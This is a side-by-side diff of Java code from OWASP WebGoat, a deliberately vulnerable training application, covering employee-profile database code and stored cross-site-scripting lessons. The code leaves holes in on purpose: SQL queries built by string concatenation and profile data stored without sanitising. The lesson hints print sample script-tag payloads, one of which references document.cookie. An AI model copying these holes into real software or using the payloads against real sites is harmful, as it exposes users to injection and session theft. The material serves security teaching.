+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, int subjectId, Employee employee)
public void doChangeEmployeeProfile_BACKUP(WebSession s, int userId, throws UnauthorizedException
int subjectId, Employee employee) throws UnauthorizedException
{
try
{ {
// Note: The password field is ONLY set by ChangePassword try
{
// Note: The password field is ONLY set by ChangePassword
String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?," String query = "UPDATE employee SET first_name = ?, last_name = ?, ssn = ?, title = ?, phone = ?, address1 = ?, address2 = ?,"
+ " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?," + " manager = ?, start_date = ?, ccn = ?, ccn_limit = ?,"
+ " personal_description = ? WHERE userid = ?;"; + " personal_description = ? WHERE userid = ?;";
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query,
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ps.setString(1, employee.getFirstName()); ps.setString(1, employee.getFirstName());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getPersonalDescription()); ps.setString(12, employee.getPersonalDescription());
ps.setInt(13, subjectId); ps.setInt(13, subjectId);
ps.executeUpdate(query); ps.executeUpdate(query);
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
public void createEmployeeProfile(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
s.setMessage("Error updating employee profile"); try
e.printStackTrace(); {
} // FIXME: Cannot choose the id because we cannot guarantee uniqueness
}
public void createEmployeeProfile(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
}
catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
}
public void createEmployeeProfile_BACKUP(WebSession s, int userId,
Employee employee) throws UnauthorizedException
{
try
{
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s); int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)"; String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
//System.out.println("Query: " + query); // System.out.println("Query: " + query);
try try
{ {
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query); PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase()); ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName()); ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn()); ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle()); ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber()); ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1()); ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2()); ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager()); ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate()); ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn()); ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit()); ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate()); ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes()); ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription()); ps.setString(14, employee.getPersonalDescription());
ps.execute(); ps.execute();
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error updating employee profile");
s.setMessage("Error updating employee profile"); sqle.printStackTrace();
sqle.printStackTrace(); }
} } catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
catch (Exception e)
public void createEmployeeProfile_BACKUP(WebSession s, int userId, Employee employee) throws UnauthorizedException
{ {
s.setMessage("Error updating employee profile"); try
e.printStackTrace(); {
// FIXME: Cannot choose the id because we cannot guarantee uniqueness
int nextId = getNextUID(s);
String query = "INSERT INTO employee VALUES ( " + nextId + ", ?,?,?,?,?,?,?,?,?,?,?,?,?,?)";
// System.out.println("Query: " + query);
try
{
PreparedStatement ps = WebSession.getConnection(s).prepareStatement(query);
ps.setString(1, employee.getFirstName().toLowerCase());
ps.setString(2, employee.getLastName());
ps.setString(3, employee.getSsn());
ps.setString(4, employee.getTitle());
ps.setString(5, employee.getPhoneNumber());
ps.setString(6, employee.getAddress1());
ps.setString(7, employee.getAddress2());
ps.setInt(8, employee.getManager());
ps.setString(9, employee.getStartDate());
ps.setString(10, employee.getCcn());
ps.setInt(11, employee.getCcnLimit());
ps.setString(12, employee.getDisciplinaryActionDate());
ps.setString(13, employee.getDisciplinaryActionNotes());
ps.setString(14, employee.getPersonalDescription());
ps.execute();
} catch (SQLException sqle)
{
s.setMessage("Error updating employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error updating employee profile");
e.printStackTrace();
}
} }
}
/**
/** * Validates that the given parameter value matches the given regular expression pattern.
* Validates that the given parameter value matches the given regular expression pattern. *
* * @param parameter
* @param parameter * @param pattern
* @param pattern * @return
* @return * @throws ValidationException
* @throws ValidationException */
*/ protected String validate(final String parameter, final Pattern pattern) throws ValidationException
protected String validate(final String parameter, final Pattern pattern)
throws ValidationException
{
Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches())
throw new ValidationException();
return parameter;
}
private int getNextUID(WebSession s)
{
int uid = -1;
try
{ {
Statement statement = WebSession.getConnection(s).createStatement( Matcher matcher = pattern.matcher(parameter);
ResultSet.TYPE_SCROLL_INSENSITIVE, if (!matcher.matches()) throw new ValidationException();
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement return parameter;
.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
} }
catch (SQLException sqle)
private int getNextUID(WebSession s)
{ {
sqle.printStackTrace(); int uid = -1;
s.setMessage("Error updating employee profile"); try
{
Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery("select max(userid) as uid from employee");
results.first();
uid = results.getInt("uid");
} catch (SQLException sqle)
{
sqle.printStackTrace();
s.setMessage("Error updating employee profile");
} catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
} }
catch (ClassNotFoundException e)
{
// TODO Auto-generated catch block
e.printStackTrace();
}
return uid + 1;
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.CrossSiteScripting; package org.owasp.webgoat.lessons.CrossSiteScripting;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -13,240 +13,200 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException,
ValidationException
{
getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ CrossSiteScripting.USER_ID);
int employeeId = -1;
try
{
// User selected employee
employeeId = s.getParser().getIntParameter(
CrossSiteScripting.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getIntRequestAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ID);
}
Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "."
+ CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
updateLessonStatus(s, employee);
} }
else
throw new UnauthenticatedException();
}
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
public String getNextPage(WebSession s) UnauthorizedException, ValidationException
{
return CrossSiteScripting.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = " getLesson().setCurrentAction(s, getActionName());
+ subjectUserId;
try if (isAuthenticated(s))
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{ {
// Note: Do NOT get the password field. int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
profile = new Employee(answer_results.getInt("userid"), int employeeId = -1;
answer_results.getString("first_name"), try
answer_results.getString("last_name"), {
answer_results.getString("ssn"), answer_results // User selected employee
.getString("title"), answer_results employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
.getString("phone"), answer_results } catch (ParameterNotFoundException e)
.getString("address1"), answer_results {
.getString("address2"), answer_results // May be an internally selected employee
.getInt("manager"), answer_results employeeId = getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
.getString("start_date"), answer_results }
.getInt("salary"), answer_results
.getString("ccn"), answer_results Employee employee = getEmployeeProfile(s, userId, employeeId);
.getInt("ccn_limit"), answer_results setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"), updateLessonStatus(s, employee);
answer_results.getString("personal_description")); }
/* System.out.println("Retrieved employee from db: " + else
profile.getFirstName() + " " + profile.getLastName() + throw new UnauthenticatedException();
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
} }
return profile; public String getNextPage(WebSession s)
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId,
int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT * FROM employee WHERE userid = " return CrossSiteScripting.VIEWPROFILE_ACTION;
+ subjectUserId; }
try public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Statement answer_statement = WebSession.getConnection(s) Employee profile = null;
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY); // Query the database for the profile data of the given employee
ResultSet answer_results = answer_statement.executeQuery(query); try
if (answer_results.next())
{ {
// Note: Do NOT get the password field. String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
profile = new Employee(answer_results.getInt("userid"),
answer_results.getString("first_name"),
answer_results.getString("last_name"),
answer_results.getString("ssn"), answer_results
.getString("title"), answer_results
.getString("phone"), answer_results
.getString("address1"), answer_results
.getString("address2"), answer_results
.getInt("manager"), answer_results
.getString("start_date"), answer_results
.getInt("salary"), answer_results
.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results
.getString("disciplined_date"),
answer_results.getString("disciplined_notes"),
answer_results.getString("personal_description"));
/* System.out.println("Retrieved employee from db: " +
profile.getFirstName() + " " + profile.getLastName() +
" (" + profile.getId() + ")");
*/}
}
catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile; try
} {
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
private void updateLessonStatus(WebSession s, Employee employee) ResultSet answer_results = answer_statement.executeQuery(query);
{ if (answer_results.next())
String stage = getStage(s); {
int userId = -1; // Note: Do NOT get the password field.
try { profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
userId = getIntSessionAttribute(s, getLessonName() + "." answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
+ CrossSiteScripting.USER_ID); .getString("title"), answer_results.getString("phone"), answer_results
} catch (ParameterNotFoundException pnfe) { .getString("address1"), answer_results.getString("address2"), answer_results
} .getInt("manager"), answer_results.getString("start_date"), answer_results
if (CrossSiteScripting.STAGE1.equals(stage)) .getInt("salary"), answer_results.getString("ccn"), answer_results
{ .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
String address1 = employee.getAddress1().toLowerCase(); .getString("disciplined_notes"), answer_results.getString("personal_description"));
if (userId != employee.getId() /*
&& address1.indexOf("<script>") > -1 * System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
&& address1.indexOf("alert") > -1 * profile.getLastName() + " (" + profile.getId() + ")");
&& address1.indexOf("</script>") > -1) */}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{ {
setStageComplete(s, CrossSiteScripting.STAGE1); s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{
// Query the database to determine if this employee has access to this function
// Query the database for the profile data of the given employee if "owned" by the given
// user
Employee profile = null;
// Query the database for the profile data of the given employee
try
{
String query = "SELECT * FROM employee WHERE userid = " + subjectUserId;
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{
// Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description"));
/*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + " " +
* profile.getLastName() + " (" + profile.getId() + ")");
*/}
} catch (SQLException sqle)
{
s.setMessage("Error getting employee profile");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employee profile");
e.printStackTrace();
}
return profile;
}
private void updateLessonStatus(WebSession s, Employee employee)
{
String stage = getStage(s);
int userId = -1;
try
{
userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
} catch (ParameterNotFoundException pnfe)
{
}
if (CrossSiteScripting.STAGE1.equals(stage))
{
String address1 = employee.getAddress1().toLowerCase();
if (userId != employee.getId() && address1.indexOf("<script>") > -1 && address1.indexOf("alert") > -1
&& address1.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE1);
}
}
else if (CrossSiteScripting.STAGE3.equals(stage))
{
String address2 = employee.getAddress1().toLowerCase();
if (address2.indexOf("<script>") > -1 && address2.indexOf("alert") > -1
&& address2.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE3);
}
}
else if (CrossSiteScripting.STAGE4.equals(stage))
{
if (employee.getAddress1().toLowerCase().indexOf("&lt;") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE4);
}
} }
} }
else if (CrossSiteScripting.STAGE3.equals(stage))
{
String address2 = employee.getAddress1().toLowerCase();
if (address2.indexOf("<script>") > -1
&& address2.indexOf("alert") > -1
&& address2.indexOf("</script>") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE3);
}
}
else if (CrossSiteScripting.STAGE4.equals(stage))
{
if (employee.getAddress1().toLowerCase().indexOf("&lt;") > -1)
{
setStageComplete(s, CrossSiteScripting.STAGE4);
}
}
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.DBCrossSiteScripting; package org.owasp.webgoat.lessons.DBCrossSiteScripting;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile;
@ -21,240 +21,221 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/** /**
/******************************************************************************* * /*******************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
*/ */
public class DBCrossSiteScripting extends GoatHillsFinancial public class DBCrossSiteScripting extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(100); private final static Integer DEFAULT_RANKING = new Integer(100);
public final static String STAGE1 = "Stored XSS"; public final static String STAGE1 = "Stored XSS";
public final static String STAGE2 = "Block Stored XSS using DB Input Validation"; public final static String STAGE2 = "Block Stored XSS using DB Input Validation";
protected void registerActions(String className) protected void registerActions(String className)
{
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION,
getAction(LISTSTAFF_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION,
getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION,
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints
.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints
.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints
.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints
.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
if (STAGE1.equals(stage)) registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
{ registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>" registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
+ "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. " registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
+ "Verify that 'Jerry' is affected by the attack. "
+ "A sample JavaScript snippet you can use is: &lt;SCRIPT&gt;alert('bang!');&lt;/SCRIPT&gt;."; // These actions are special in that they chain to other actions.
} registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
else if (STAGE2.equals(stage)) registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.XSS;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
// Stage 1
hints.add("You can put HTML tags in form input fields.");
hints.add("Bury a SCRIPT tag in the field to attack anyone who reads it.");
hints
.add("Enter this: &lt;script language=\"javascript\" type=\"text/javascript\"&gt;alert(\"Ha Ha Ha\");&lt;/script&gt; in message fields.");
hints.add("Enter this: &lt;script&gtalert(\"document.cookie\");&lt;/script&gt; in message fields.");
// Stage 2
hints.add("Many scripts rely on the use of special characters such as: &lt;");
hints
.add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering).");
hints.add("Oracle 10 supports a regular expression matching function : REGEXP_LIKE(text, pattern).");
return hints;
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
instructions = "Stage 2: Block Stored XSS using Input Validation.<br>" String stage = getStage(s);
+ "Implement a fix in the stored procedure to prevent the stored XSS from being written to the database. "; if (STAGE1.equals(stage))
if (getWebgoatContext().getDatabaseDriver().contains("jtds")) {
instructions += "Use the provided user-defined function RegexMatch to test the data against a pattern. "; instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.<br>"
instructions += "A sample regular expression pattern: ^[a-zA-Z0-9,\\. ]{0,80}$ " + "As 'Tom', execute a Stored XSS attack against the Street field on the Edit Profile page. "
+ "Repeat stage 1 as 'Eric' with 'David' as the manager. Verify that 'David' is not affected by the attack."; + "Verify that 'Jerry' is affected by the attack. "
